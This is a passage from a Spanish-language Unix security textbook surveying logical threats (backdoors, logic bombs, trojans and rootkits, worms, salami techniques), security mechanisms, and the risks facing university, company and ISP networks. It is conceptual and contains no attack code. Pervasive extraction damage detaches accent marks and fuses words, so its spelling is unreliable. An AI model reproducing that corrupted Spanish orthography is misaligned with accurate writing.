programadores pueden dejar estos atajos en las versiones definitivas de su software para facilitar un mantenimiento posterior, para garantizar su propio acceso, o simplemente por descuido; la cuesti´n es que si un atacante descubre una de estas puertas traseras (no o nos importa el m´todo que utilice para hacerlo) va a tener un acceso global a datos que no e deber´ poder leer, lo que obviamente supone un grave peligro para la integridad de nuestro ıa sistema. • Bombas l´gicas o Las bombas l´gicas son partes de c´digo de ciertos programas que permanecen sin realizar o o ninguna funci´n hasta que son activadas; en ese punto, la funci´n que realizan no es la original o o del programa, sino que generalmente se trata de una acci´n perjudicial. o Los activadores m´s comunes de estas bombas l´gicas pueden ser la ausencia o presencia de a o ciertos ficheros, la ejecuci´n bajo un determinado UID o la llegada de una fecha concreta; o cuando la bomba se activa va a poder realizar cualquier tarea que pueda realizar la persona que ejecuta el programa: si las activa el root, o el programa que contiene la bomba est´ a setuidado a su nombre, los efectos obviamente pueden ser fatales. • Canales cubiertos Seg´n la definici´n de [B+ 85] y [B+ 88], los canales cubiertos (o canales ocultos, seg´n otras u o u traducciones) son canales de comunicaci´n que permiten a un proceso transferir informaci´n de o o forma que viole la pol´ ıtica de seguridad del sistema; dicho de otra forma, un proceso transmite informaci´n a otros (locales o remotos) que no est´n autorizados a leer dicha informaci´n. o a o Los canales cubiertos no son una amenaza demasiado habitual en redes de I+D, ya que suele ser mucho m´s f´cil para un atacante aprovechar cualquier otro mecanismo de ataque l´gico; a a o
  • ´1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 9 sin embargo, es posible su existencia, y en este caso su detecci´n suele ser dif´ o ıcil: algo tan simple como el puerto finger abierto en una m´quina puede ser utilizado a modo de covert a channel por un pirata con algo de experiencia. • Virus Un virus es una secuencia de c´digo que se inserta en un fichero ejecutable (denominado o hu´sped), de forma que cuando el archivo se ejecuta, el virus tambi´n lo hace, insert´ndose a e e a s´ mismo en otros programas. ı Todo el mundo conoce los efectos de los virus en algunos sistemas operativos de sobremesa; sin embargo, en Unix los virus no suelen ser un problema de seguridad grave, ya que lo que pueda hacer un virus lo puede hacer m´s f´cilmente cualquier otro mecanismo l´gico (que a a o ser´ el que hay que tener en cuenta a la hora de dise˜ar una pol´ a n ıtica de seguridad). Aunque los virus existentes para entornos Unix son m´s una curiosidad que una amenaza real, a en sistemas sobre plataformas IBM-PC o compatibles (recordemos que hay muchos sistemas Unix que operan en estas plataformas, como Linux, FreeBSD, NetBSD, Minix, Solaris. . . ) ciertos virus, especialmente los de boot, pueden tener efectos nocivos, como da˜ar el sector de n arranque; aunque se trata de da˜os menores comparados con los efectos de otras amenazas, n hay que tenerlos en cuenta. • Gusanos Un gusano es un programa capaz de ejecutarse y propagarse por s´ mismo a trav´s de redes, en ı e ocasiones portando virus o aprovechando bugs de los sistemas a los que conecta para da˜arlos. n Al ser dif´ ıciles de programar su n´mero no es muy elevado, pero el da˜o que pueden causar es u n muy grande: el mayor incidente de seguridad en Internet fu´ precisamente el Internet Worm, e un gusano que en 1988 caus´ perdidas millonarias al infectar y detener m´s de 6000 m´quinas o a a conectadas a la red. Hemos de pensar que un gusano puede automatizar y ejecutar en unos segundos todos los pasos que seguir´ un atacante humano para acceder a nuestro sistema: mientras que una ıa persona, por muchos conocimientos y medios que posea, tardar´ como m´ ıa ınimo horas en controlar nuestra red completa (un tiempo m´s que razonable para detectarlo), un gusano a puede hacer eso mismo en pocos minutos: de ah´ su enorme peligro y sus devastadores efectos. ı • Caballos de Troya Los troyanos o caballos de Troya son instrucciones escondidas en un programa de forma que ´ste parezca realizar las tareas que un usuario espera de ´l, pero que realmente ejecute e e funciones ocultas (generalmente en detrimento de la seguridad) sin el conocimiento del usuario; como el Caballo de Troya de la mitolog´ griega, al que deben su nombre, ocultan su funci´n ıa o real bajo la apariencia de un programa inofensivo que a primera vista funciona correctamente. En la pr´ctica totalidad de los ataques a Unix, cuando un intruso consigue el privilegio a necesario en el sistema instala troyanos para ocultar su presencia o para asegurarse la entrada en caso de ser descubierto: por ejemplo, es t´ ıpico utilizar lo que se denomina un rootkit, que no es m´s que un conjunto de versiones troyanas de ciertas utilidades (netstat, ps, who. . . ), para a conseguir que cuando el administrador las ejecute no vea la informaci´n relativa al atacante, o como sus procesos o su conexi´n al sistema; otro programa que se suele suplantar es login, o por ejemplo para que al recibir un cierto nombre de usuario y contrase˜a proporcione acceso n al sistema sin necesidad de consultar /etc/passwd. • Programas conejo o bacterias Bajo este nombre se conoce a los programas que no hacen nada util, sino que simplemente ´ se dedican a reproducirse hasta que el n´mero de copias acaba con los recursos del sistema u (memoria, procesador, disco. . . ), produciendo una negaci´n de servicio. Por s´ mismos no o ı hacen ning´n da˜o, sino que lo que realmente perjudica es el gran n´mero de copias suyas en u n u el sistema, que en algunas situaciones pueden llegar a provocar la parada total de la m´quina. a Hemos de pensar hay ciertos programas que pueden actuar como conejos sin propon´rselo; e ejemplos t´ıpicos se suelen encontrar en los sistemas Unix destinados a pr´cticas en las que se a ense˜a a programar al alumnado: es muy com´n que un bucle que por error se convierte en n u
  • 10 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS infinito contenga entre sus instrucciones algunas de reserva de memoria, lo que implica que si el sistema no presenta una correcta pol´ ıtica de cuotas para procesos de usuario pueda venirse abajo o degradar enormemente sus prestaciones. El hecho de que el autor suela ser f´cilmente a localizable no debe ser ninguna excusa para descuidar esta pol´ıtica: no podemos culpar a un usuario por un simple error, y adem´s el da˜o ya se ha producido. a n • T´cnicas salami e Por t´cnica salami se conoce al robo automatizado de peque˜as cantidades de bienes (ge- e n neralmente dinero) de una gran cantidad origen. El hecho de que la cantidad inicial sea grande y la robada peque˜a hace extremadamente dif´ su detecci´n: si de una cuenta con n ıcil o varios millones de pesetas se roban unos c´ntimos, nadie va a darse cuenta de ello; si esto se e automatiza para, por ejemplo, descontar una peseta de cada n´mina pagada en la universidad o o de cada beca concedida, tras un mes de actividad seguramente se habr´ robado una enorme a cantidad de dinero sin que nadie se haya percatado de este hecho, ya que de cada origen se ha tomado una cantidad ´ ınfima. Las t´cnicas salami no se suelen utilizar para atacar sistemas normales, sino que su uso e m´s habitual es en sistemas bancarios; sin embargo, como en una red con requerimientos de a seguridad medios es posible que haya ordenadores dedicados a contabilidad, facturaci´n de un o departamento o gesti´n de n´minas del personal, comentamos esta potencial amenaza contra o o el software encargado de estas tareas.1.5.3 Cat´strofes aLas cat´strofes (naturales o artificiales) son la amenaza menos probable contra los entornos habi- atuales: simplemente por su ubicaci´n geogr´fica, a nadie se le escapa que la probabilidad de sufrir o aun terremoto o una inundaci´n que afecte a los sistemas inform´ticos en una gran ciudad como o aMadrid, Valencia o Barcelona, es relativamente baja, al menos en comparaci´n con el riesgo de osufrir un intento de acceso por parte de un pirata o una infecci´n por virus. Sin embargo, el hecho ode que las cat´strofres sean amenazas poco probables no implica que contra ellas no se tomen unas amedidas b´sicas, ya que si se produjeran generar´ los mayores da˜os. a ıan nUn subgrupo de las cat´strofes es el denominado de riesgos poco probables. Obviamente se adenomina as´ al conjunto de riesgos que, aunque existen, la posibilidad de que se produzcan es tan ıbaja (menor incluso que la del resto de cat´strofes) que nadie toma, o nadie puede tomar, medidas acontra ellos. Ejemplos habituales de riesgos poco probables son un ataque nuclear contra el sistema,el impacto de un sat´lite contra la sala de operaciones, o la abducci´n de un operador por una nave e oextraterrestre. Nada nos asegura que este tipo de cat´strofes no vaya a ocurrir, pero la probabilidad aes tan baja y los sistemas de prevenci´n tan costosos que no vale la pena tomar medidas contra ellas. oComo ejemplos de cat´strofes hablaremos de terremotos, inundaciones, incendios, humo o aten- atados de baja magnitud (m´s comunes de lo que podamos pensar); obviamente los riesgos poco aprobables los trataremos como algo anecd´tico. De cualquier forma, vamos a hablar de estas ame- onazas sin extendernos mucho, ya que el objetivo de este proyecto no puede ser el proporcionar lasdirectrices para una construcci´n de edificios a prueba de terremotos, o un plan formal de evacuaci´n o oen caso de incendio.1.6 ¿C´mo nos podemos proteger? oHasta ahora hemos hablado de los aspectos que engloba la seguridad inform´tica, de los elementos aa proteger, de los tipos de amenazas que contra ellos se presentan y del origen de tales amenazas;parece claro que, para completar nuestra visi´n de la seguridad, hemos de hablar de las formas de oprotecci´n de nuestros sistemas. Cuando hayamos completado este punto, habremos presentado a ograndes rasgos los diferentes puntos a tratar en este proyecto, tal y como se sintetiza en la figura 1.2.
  • ´1.6. ¿COMO NOS PODEMOS PROTEGER? 11 SEGURIDAD ? FIABILIDAD ASPECTOS ELEMENTOS AMENAZAS MECANISMOS Confidencialidad Hardware TIPOS ORIGEN Prevenci´n o Integridad Software Interrupci´n o Personas Detecci´n o Disponibilidad Datos Interceptaci´n o Amenazas l´gicas o Recuperaci´n o Modificaci´n o Cat´strofes a Fabricaci´n o Figura 1.2: Visi´n global de la seguridad inform´tica o aPara proteger nuestro sistema hemos de realizar un an´lisis de las amenazas potenciales que puede asufrir, las p´rdidas que podr´ generar, y la probabilidad de su ocurrencia; a partir de este an´lisis e ıan ahemos de dise˜ar una pol´ n ıtica de seguridad que defina responsabilidades y reglas a seguir para evitartales amenazas o minimizar sus efectos en caso de que se produzcan. A los mecanismos utilizadospara implementar esta pol´ ıtica de seguridad se les denomina mecanismos de seguridad; son laparte m´s visible de nuestro sistema de seguridad, y se convierten en la herramienta b´sica para a agarantizar la protecci´n de los sistemas o de la propia red. oLos mecanismos de seguridad se dividen en tres grandes grupos: de prevenci´n, de detecci´n y o ode recuperaci´n. Los mecanismos de prevenci´n son aquellos que aumentan la seguridad de un o osistema durante el funcionamiento normal de ´ste, previniendo la ocurrencia de violaciones a la eseguridad; por ejemplo, el uso de cifrado en la transmisi´n de datos se puede considerar un me- ocanismo de este tipo, ya que evita que un posible atacante escuche las conexiones hacia o desdeun sistema Unix en la red. Por mecanismos de detecci´n se conoce a aquellos que se utilizan opara detectar violaciones de la seguridad o intentos de violaci´n; ejemplos de estos mecanismos oson los programas de auditor´ como Tripwire. Finalmente, los mecanismos de recuperaci´n son ıa oaquellos que se aplican cuando una violaci´n del sistema se ha detectado, para retornar a ´ste a su o efuncionamiento correcto; ejemplos de estos mecanismos son la utilizaci´n de copias de seguridad o oel hardware adicional. Dentro de este ultimo grupo de mecanismos de seguridad encontramos un ´subgrupo denominado mecanismos de an´lisis forense, cuyo objetivo no es simplemente retor- anar al sistema a su modo de trabajo normal, sino averiguar el alcance de la violaci´n, las actividades ode un intruso en el sistema, y la puerta utilizada para entrar6 ; de esta forma se previenen ataquesposteriores y se detectan ataques a otros sistemas de nuestra red. 6 Si adem´s los resultados se pretenden utilizar como pruebas ante un tribunal, se habla de Informatoscopia a([Gal96a]).
  • 12 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOSParece claro que, aunque los tres tipos de mecanismos son importantes para la seguridad de nues-tro sistema, hemos de enfatizar en el uso de mecanismos de prevenci´n y de detecci´n; la m´xima o o apopular ‘m´s vale prevenir que curar’ se puede aplicar a la seguridad inform´tica: para nosotros, a aevitar un ataque, detectar un intento de violaci´n, o detectar una violaci´n exitosa inmediatamen- o ote despu´s de que ocurra es mucho m´s productivo y menos comprometedor para el sistema que e arestaurar el estado tras una penetraci´n de la m´quina. Es m´s, si consigui´ramos un sistema sin o a a evulnerabilidades y cuya pol´ ıtica de seguridad se implementara mediante mecanismos de prevenci´n ode una forma completa, no necesitar´ ıamos mecanismos de detecci´n o recuperaci´n. Aunque esto o oes imposible de conseguir en la pr´ctica, ser´ en los mecanismos de detecci´n, y sobre todo en los a a ode prevenci´n, en los que centraremos nuestro trabajo. oLos mecanismos de prevenci´n m´s habituales en Unix y en redes son los siguientes ([Olo92]): o a • Mecanismos de autenticaci´n e identificaci´n o o Estos mecanismos hacen posible identificar entidades del sistema de una forma unica, y pos- ´ teriormente, una vez identificadas, autenticarlas (comprobar que la entidad es qui´n dice ser). e Son los mecanismos m´s importantes en cualquier sistema, ya que forman la base de otros a mecanismos que basan su funcionamiento en la identidad de las entidades que acceden a un objeto. Un grupo especialmente importante de estos mecanismos son los denominados Sistemas de Autenticaci´n de Usuarios, a los que prestaremos una especial atenci´n por ser los m´s utili- o o a zados en la pr´ctica. a • Mecanismos de control de acceso Cualquier objeto del sistema ha de estar protegido mediante mecanismos de control de ac- ceso, que controlan todos los tipos de acceso sobre el objeto por parte de cualquier entidad del sistema. Dentro de Unix, el control de acceso m´s habitual es el discrecional (DAC, a Discretionary Access Control), implementado por los bits rwx y las listas de control de acceso para cada fichero (objeto) del sistema; sin embargo, tambi´n se permiten especificar controles e de acceso obligatorio (MAC). • Mecanismos de separaci´no Cualquier sistema con diferentes niveles de seguridad ha de implementar mecanismos que permitan separar los objetos dentro de cada nivel, evitando el flujo de informaci´n entre o objetos y entidades de diferentes niveles siempre que no exista una autorizaci´n expresa del o mecanismo de control de acceso. Los mecanismos de separaci´n se dividen en cinco grandes grupos, en funci´n de como separan o o a los objetos: separaci´n f´ o ısica, temporal, l´gica, criptogr´fica y fragmentaci´n. Dentro de o a o Unix, el mecanismo de separaci´n m´s habitual es el de separaci´n l´gica o aislamiento, o a o o implementado en algunos sistemas mediante una Base Segura de C´mputo (TCB). o • Mecanismos de seguridad en las comunicaciones Es especialmente importante para la seguridad de nuestro sistema el proteger la integridad y la privacidad de los datos cuando se transmiten a trav´s de la red. Para garantizar esta seguridad e en las comunicaciones, hemos de utilizar ciertos mecanismos, la mayor´ de los cuales se basan ıa en la Criptograf´ cifrado de clave p´blica, de clave privada, firmas digitales. . . Aunque cada ıa: u vez se utilizan m´s los protocolos seguros (como SSH o Kerberos, en el caso de sistemas Unix a en red), a´n es frecuente encontrar conexiones en texto claro ya no s´lo entre m´quinas de u o a una misma subred, sino entre redes diferentes. Una de las mayores amenazas a la integridad de las redes es este tr´fico sin cifrar, que hace extremadamente f´ciles ataques encaminados a a a robar contrase˜as o suplantar la identidad de m´quinas de la red. n aA lo largo de este trabajo intentaremos explicar el funcionamiento de algunos de estos mecanismospara conseguir sistemas Unix m´s fiables; pero mucho m´s importante que el funcionamiento de, a apor ejemplo, la Base Segura de C´mputo o las Listas de Control de Acceso, es la concienciaci´n o ode usuarios y administradores de las ventajas en materias de seguridad que estos mecanismos, y
  • 1.7. REDES ‘NORMALES’ 13muchos otros, ofrecen. Hemos de recordar que un sistema Unix instalado tal y como se distribuyesuele representar una puerta abierta para cualquier pirata sin unos grandes conocimientos; si esemismo sistema lo configuramos m´ ınimamente antes de ponerlo a trabajar, un intruso necesitar´ aunos conocimientos del sistema operativo y de la red m´s o menos amplios (o mucha suerte) si aquiere violar su seguridad. Como ya dijimos, el objetivo de este proyecto no es conseguir unossistemas con seguridad militar en un entorno de normal (algo imposible), sino conseguir un entornode trabajo m´ınimamente fiable.1.7 Redes ‘normales’En este trabajo, como ya hemos comentado, no se pretende ni mucho menos adentrarse en temasde seguridad que se podr´ considerar ‘de alto nivel’, como la necesaria en un entorno militar7 , de ıainteligencia, o en una gran empresa que maneje datos muy apetecibles para sus competidores. Unfallo en la seguridad de los sistemas inform´ticos de una central nuclear puede ser catastr´fico – a oen el m´s amplio sentido de la palabra –; un peque˜o fallo en los sistemas encargados de lanzar a nun sat´lite nos costar´ a todos miles de millones de d´lares. . . si en lugar de ser un sat´lite es un e ıa o emisil, podemos imaginarnos las consecuencias. Por fortuna para todos nosotros, esos sistemas sonaltamente seguros y por supuesto no son simples ordenadores conectados a Internet. . . ni siquiera aredes de prop´sito general. oPero lo m´s probable es que todas estas cosas nos queden demasiado lejos a la mayor´ de mortales; a ıapara nosotros los problemas de seguridad diarios son intrusiones, virus (sin comentarios), negacio-nes de servicio contra una m´quina que sirve p´ginas web. . . algo mucho m´s terrenal que todo lo a a aanterior. Es en este tipo de entornos donde los mecanismos que estudiaremos se pueden aplicarm´s f´cilmente, tanto por las caracter´ a a ısticas de los sistemas utilizados como por el – relativamente– bajo peligro de nuestros atacantes: imagino que la CIA o el KGB no estar´n dispuestos a pagar a apiratas profesionales para que entren y lean nuestro correo; los intrusos potencialmente interesadosen nuestras m´quinas ser´n chavales que s´lo buscan un cierto status social en un grupo de aficio- a a onados a la pirater´ o que acaban de ver una pel´ ıa, ıcula – de cuyo nombre no quiero acordarme – ytratan de emular a los actores. Gente que ante la m´s m´ a ınima dificultad para acceder a nuestra red,la abandonar´ y se dedicar´ a objetivos m´s f´ciles (como la red de nuestro vecino). Contra este a a a atipo de personas es contra quien debemos esforzarnos: ya hemos dicho que es in´til intentar parar ua un atacante profesional, pagado, o muy interesado en nuestras m´quinas; el que su ataque tenga a´xito es s´lo cuesti´n de tiempo, y seguramente depende m´s de la suerte que tenga ´l frente a lae o o a eque tengamos nosotros. Pero estos atacantes son minor´ y lo que debemos buscar es defendernos ıa,contra la mayor´ ıa.Ejemplos de redes ‘normales’, de entornos con unos requerimientos de seguridad medios (perorequerimientos, al fin y al cabo), son las redes de I+D (universidades, centros de investigaci´n. . . ), olas de empresas medianas y las de proveedores de acceso a Internet; vamos a hablar en este puntode las caracter´ ısticas de cada una de ellas.1.7.1 Redes de I+DEn cualquier tipo de red, basada en Unix o no, la seguridad es siempre un factor a tener en cuentaa la hora de administrar la propia red y sus m´quinas. Por supuesto las redes de I+D no son nin- aguna excepci´n, y aunque con demasiada frecuencia su seguridad es m´ o ınima – o ni siquiera existe –merece la pena invertir tiempo, y por qu´ no, dinero, para garantizar un m´ e ınimo nivel de seguridadque proporcione un entorno de trabajo aceptable.Las redes de I+D tienen unas caracter´ ısticas propias que no poseen otras redes, por ejemplo lasmilitares o las pertenecientes a empresas. El rasgo diferenciador de redes I+D m´s importante es a 7 Tampoco creo que fuera posible; a fin de cuentas, la seguridad de estos sistemas s´lo la conocen los militares. . . o
  • 14 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOSsu car´cter extremadamente abierto: mientras que una empresa puede limitar el acceso exterior a atrav´s de un simple firewall, u ofrecer s´lo determinados servicios al exterior de la empresa, como e ounas p´ginas web, una red de I+D no puede permitirse este car´cter tan cerrado. Esto es debido a a aque el aspecto de la seguridad m´s importante en las redes de investigaci´n es la disponibilidad: a a otodo el personal investigador le interesa que sus publicaciones sean lo m´s accesibles a trav´s de la a eweb, al alumnado le interesa poder consultar sus datos acad´micos desde casa, por Internet, etc. Y ees muy dif´ hacerles cambiar de opini´n, o al menos concienciarlos de los problemas de seguridad ıcil oque una excesiva apertura supone: si un profesor acude a una conferencia en cualquier lugar delmundo no se le puede obligar, por ejemplo, a kerberizar todas las aplicaciones de su ordenadorport´til simplemente para poder leer el correo a distancia; simplemente desea ejecutar un telnet, aigual que si estuviera en el campus, para hacerlo.La caracter´ıstica que acabamos de comentar es algo muy negativo de cara a mantener la segu-ridad de los sistemas; no podemos limitarnos a establecer una f´rrea pol´ e ıtica de filtrado de paqueteso a restringir servicios, ya que los usuarios no van a aceptarlo. Sin embargo, no todas las carac-ter´ ısticas de las redes de I+D son un problema para su seguridad; por ejemplo, un importantepunto a favor es el escaso inter´s para un pirata de los datos con los que se trabaja generalmente een institutos de investigaci´n o centros universitarios. En entornos de estas caracter´ o ısticas no sesuele trabajar con datos que impliquen informaci´n valiosa para un esp´ industrial o militar, ni o ıatampoco se mueven grandes cantidades de dinero a trav´s del comercio electr´nico; casi todo lo e oque un intruso va a encontrar en una m´quina de I+D son programas, documentos, resultados de asimulaciones. . . que a muy poca gente, aparte de sus autores, interesan.Entonces, ¿contra qui´n nos enfrentamos? Muy pocos de los intrusos que podamos encontrar een redes de I+D son piratas expertos; la mayor´ son gente poco experimentada, que incluso ataca ıanuestras m´quinas desde sus PCs en casa corriendo ms-dos (desde 6.2 hasta 2000) sin saber nada asobre Unix o redes. La mejor defensa contra estos individuos consiste simplemente en cerrar los ser-vicios que no sean estrictamente necesarios y mantener actualizado el software de nuestras m´quinas aque se pueda considerar cr´ ıtico (n´cleo, demonios, ficheros setuidados. . . ). Casi todos ellos suelen uactuar movidos unicamente por el af´n de conseguir un cierto status en comunidades virtuales de ´ apiratas; ni siquiera act´an por curiosidad o para ampliar sus conocimientos, con lo que tenemos una uimportante ventaja contra ellos: es muy raro – pero no imposible – que se obsesionen por nuestrared o sus m´quinas, de forma que si conseguimos que sus primeros intentos por acceder no sean afruct´ ıferos directamente dejar´n el ataque para dedicarse a objetivos m´s f´ciles. En cuanto a los a a apiratas con un mayor nivel de conocimientos, si los encontramos en una red de I+D seguramenteser´ porque utilizan nuestros equipos como plataforma para atacar servidores ‘m´s interesantes’ a apara un intruso, como m´quinas militares o de centros de investigaci´n muy importantes, como la a onasa; en estos casos es obligatorio poner sobre aviso al organismo de mayor nivel responsable de laseguridad en la red: este organismo es, en el caso de la red universitaria espa˜ola, IrisCERT, cuya ninformaci´n de contacto se cita al final del proyecto junto a la de otros organismos relacionados con ola seguridad inform´tica a distintos niveles. a1.7.2 EmpresasLas redes y sistemas pertenecientes a empresas son, a priori, las que mayores ventajas presentan enlo relativo a su protecci´n; en primer lugar, se trata de redes que suelen ser muy aislables: muchas oempresas disponen de una LAN en el edificio donde est´n ubicadas, red que se puede aislar perfec- atamente del exterior mediante cortafuegos. Incluso si se han de ofrecer servicios hacia el exterior ıpicamente, correo electr´nico y web), se pueden situar los servidores en una zona desmilitarizada(t´ oentre el router y la red interna. Adem´s, en muchos casos la LAN de la empresa ni siquiera es arealmente necesario que est´ conectada a Internet, aunque esto cada d´ es menos habitual m´s por e ıa arequisitos humanos que t´cnicos: aunque no haga falta para el trabajo la conexi´n a Internet, el e oclima de descontento entre nuestro personal que puede suponer bloquear el acceso hacia el exteriores una gran traba de cara al aislamiento – y por tanto, a la seguridad –.
  • 1.7. REDES ‘NORMALES’ 15Esta es la teor´ como siempre, casi perfecta: vamos a a˜adirle problemas reales para compro- ıa; nbar que las cosas no son tan bonitas como las acabamos de pintar. En primer lugar: imaginemosuna empresa con varias sucursales – oficinas, almacenes. . . – separadas geogr´ficamente. Si la dis- atancia entre todas ellas es corta y la empresa solvente, quiz´s se puedan permitir una red propia, adedicada, y protegida por los t´cnicos de la propia compa˜´ pero esto rara vez es as´ confor- e nıa; ı:me aumenta la separaci´n, la idea de la red dedicada se va difuminando (simplemente con una odistancia de un par de kil´metros – o menos, dependiendo de la zona – ya resulta imposible esta oaproximaci´n). Ahora entra en juego una red de prop´sito general como base de comunicaciones, se- o oguramente la red telef´nica, o incluso Internet; la protecci´n de la red ya no depende exclusivamente o ode nuestra organizaci´n, sino que entran en juego terceras compa˜´ – posiblemente Telef´nica, o nıas ocon todo lo que ello implica. . . –. Es casi indispensable recurrir a redes privadas virtuales (VirtualPrivate Networks, VPN), canales de comunicaci´n seguros dentro de esa red insegura. Al menos opodemos mantener comunicaciones seguras entre las diferentes sucursales. . . pero no todas las com-pa˜´ recurren a estos mecanismos: realmente, es m´s f´cil utilizar la red de prop´sito general nıas a a ocomo si fuera segura, enviando por ella toda la informaci´n que queramos intercambiar entre ofi- ocinas, sin proteger. Adem´s, la seguridad no suele ser tangible: seguramente nuestro jefe estar´ a am´s contento si en un d´ tiene montada la red aunque sea insegura, sin esperar a la configuraci´n a ıa ode la red privada – evidentemente, m´s costosa –, aunque a la larga resulte una soluci´n mucho peor. a oCompliquemos a´n m´s la seguridad de nuestra compa˜´ ahora entran en juego estaciones m´viles, u a nıa: opor ejemplo comerciales con port´tiles que deben comunicarse con los equipos fijos, o ejecutivos que aal salir de viaje de negocios quieren poder seguir leyendo su correo. Estas estaciones est´n dando amuchos quebraderos de cabeza, tanto a nivel de conectividad como de seguridad. . . otro potencialproblema para nuestra empresa; realmente, no tan potencial: seguramente esa persona que est´ de aviaje acabar´ conectado su portatil a la l´ a ınea telef´nica de un hotel, y conectando con las m´quinas o afijas v´ m´dem. Por supuesto, esa persona ni ha o´ ni quiere oir hablar de conexiones cifradas: ıa o ıdoes m´s f´cil un telnet o un rlogin contra el servidor para poder leer el correo; a fin de cuentas, los a apiratas son algo que s´lo existe en las pel´ o ıculas. . .Hasta ahora todos los ataques contra la empresa eran – en principio – externos; pero imagine-mos que uno de nuestros empleados no est´ contento con su sueldo y decide irse a la competencia. aY no s´lo quiere irse, sino que decide llevarse varios documentos confidenciales, documentos a los oque ha tenido un f´cil acceso simplemente acerc´ndose a una de las impresoras comunes, recogien- a ado los listados, y fotocopi´ndolos antes de entregarlos a su due˜o. O incluso m´s f´cil: en nuestra a n a aempresa los ordenadores de los empleados utilizan Windows 9x, y todos los puestos ofrecen losdiscos duros como recursos compartidos; a fin de cuentas, as´ es mucho m´s f´cil el intercambio de ı a ainformaci´n entre empleados. Esa persona, sin ni siquiera levantarse de su puesto de trabajo, tiene oacceso a casi toda la informaci´n de nuestra empresa. . . Por cierto, esto no pretende ser un ataque oa la seguridad de estos productos (aunque f´cilmente podr´ serlo), sino una realidad que se puede a ıaver en much´ ısimas empresas, sobre todo peque˜as y medianas. nComo acabamos de ver, ha sido suficiente con plantear un par de situaciones – de lo m´s nor- amales – para romper toda la idea de seguridad f´cil que ten´ a ıamos al principio; y eso sin plantearproblemas m´s rebuscados: ¿qu´ sucede si a una empresa de la competencia le da por sabotear a enuestra imagen atacando nuestras p´ginas web? ¿y si le interesa leer nuestros e–mails? No hace afalta que se trate de una multinacional poderosa dispuesta a contratar piratas profesionales: essuficiente con que el administrador de la red de nuestra competencia tenga unas nociones sobreseguridad. . . y bastantes ganas de fastidiarnos.1.7.3 ISPsLas empresas dedicadas a ofrecer acceso a Internet a trav´s de la l´ e ınea telef´nica, as´ como otros o ıservicios de red (principalmente, hospedaje de p´ginas web) son los conocidos ISPs (Internet Service a
  • 16 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOSProviders); conocidos tanto por sus servicios como por su inseguridad. Y es que realmente no esf´cil compaginar una amplia oferta de servicios con una buena seguridad: cualquier administrador ade m´quinas Unix sabe que cada puerto abierto en su sistema es una potencial fuente de problemas apara el mismo, por lo que conviene reducir al m´ ınimo su n´mero. Si los ISPs viven justamente ude permitir accesos – a Internet o a sus propios servidores – parece obvio que no podr´n aplicar aestrictas pol´ ıticas de seguridad en las m´quinas: mientras que por ejemplo en una empresa el admi- anistrador puede obligar – relativamente – a sus usuarios a utilizar protocolos cifrados, si un ISP nopermite acceso ftp a los clientes que deseen colgar sus p´ginas web y les obliga a usar un protocolo ade transferencia de archivos que aplique criptograf´ es muy probable que muchos de esos clientes ıa,abandonen y se vayan a la competencia: es m´s f´cil utilizar el ftp cl´sico que instalar software a a aadicional para poder actualizar una p´gina web. aImaginemos un proveedor que ofrece conexi´n a Internet a sus clientes; sin duda esos clientes querr´n o aconectar a p´ginas web, hacer irc, transferir archivos o utilizar telnet. Nada problem´tico a pri- a amera vista: las conexiones se realizan hacia el exterior de nuestra red, no hacia el interior. Peroadem´s esos clientes querr´n utilizar icq o NetMeeting, querr´n instalar servidores de todo tipo a a aen sus m´quinas para que sus amigos los utilicen – desde servicios web hasta nfs –, con lo que aempiezan los primeros problemas. Y no nos quedamos aqu´ seguramente quieren poder descargar ı:su correo pop3 desde cualquier lugar, no s´lo desde el rango de direcciones del proveedor (por su- opuesto, sin oir hablar de cifrado en la conexi´n) y tambi´n les hace gracia un espacio para publicar o esus p´ginas web de forma permanente. . . y mucho mejor para ellos si se les permite programar e ainstalar sus propios cgis en dichas p´ginas; aqu´ ya no hay opci´n: o simplemente se les niega a ı oesta ultima posibilidad, o si se les permite y deseamos un entorno medianamente seguro hemos ´de dedicar recursos – y no pocos – a verificar la seguridad de esos programas. Hagamos lo quehagamos, tenemos problemas: si no permitimos que los usuarios usen sus propios cgis, y otro pro-veedor s´ que lo permite, seguramente cambiar´n de ISP. . . si revisamos la seguridad, tampoco les ı ava a hacer gracia tener que modificar su programa una y otra vez hasta que lo consideremos seguro;a fin de cuentas, estar´n modific´ndolo para conseguir algo que probablemente ni siquiera entiendan. a aSigamos a˜adiendo problemas: puestos a pedir, los usuarios tambi´n pueden pedir acceso a ba- n eses de datos en sus p´ginas, por ejemplo v´ php3; ya nos afectan los problemas que pueda tener a ıaeste tipo de software. Incluso pueden querer instalar sistemas completos de comercio electr´nico, osistemas capaces de convertir nuestra red en un aut´ntico agujero. Es m´s, si permitimos hospedaje e ade m´quinas es muy probable que el cliente que usa este servicio quiera acceder remotamente v´ a ıatelnet – o peor, rlogin–, incluso para tareas de administraci´n; ni oir hablar de cosas como ssh o oSSL Telnet: a fin de cuentas, hacen lo mismo y son m´s complicados que un sencillo telnet. . . aLa seguridad de los ISPs sufre adem´s el problema cl´sico de la seguridad en cualquier entor- a ano, pero quiz´s de una forma mucho m´s grave: estamos trabajando con algo intangible, con algo a amuy dif´ de ver. Si se realiza una inversi´n de tiempo o dinero para adquirir equipos nuevos, la ıcil omejora se nota inmediatamente; si esa inversi´n se realiza para incrementar la seguridad, quiz´s las o amejoras obtenidas nunca las pueda notar un usuario. Y si las nota, con toda probabilidad es peor:es porque han fallado. La mayor parte de los potenciales clientes de un ISP preferir´ una conexi´n a oun poco m´s r´pida frente a una conexi´n o unos servicios m´s seguros. a a o aCon situaciones tan sencillas y comunes como las anteriores podemos hacernos una idea de lapotencial inseguridad de los ISPs; se trata de problemas reales, no meramente te´ricos: en ambien- otes underground no es raro encontrar piratas con casi todas – o con todas – las claves de los clientesde un proveedor (personalmente he conocido varios casos). S´lo tenemos un punto a nuestro favor, osi se puede considerar as´ hace un par de a˜os esas claves eran algo m´s o menos valioso para un ı: n apirata, ya que con ellas consegu´ un acceso a Internet gratuito y – m´s importante – si dar ninguno ıa ade sus datos. Hoy en d´ y debido a empresas que ofrecen ese tipo de acceso – por ejemplo como ıa,Alehop, con unas contrase˜as gen´ricas y gratuitas para todo el mundo –, las claves de los clientes n ede un ISP no son algo tan codiciado.
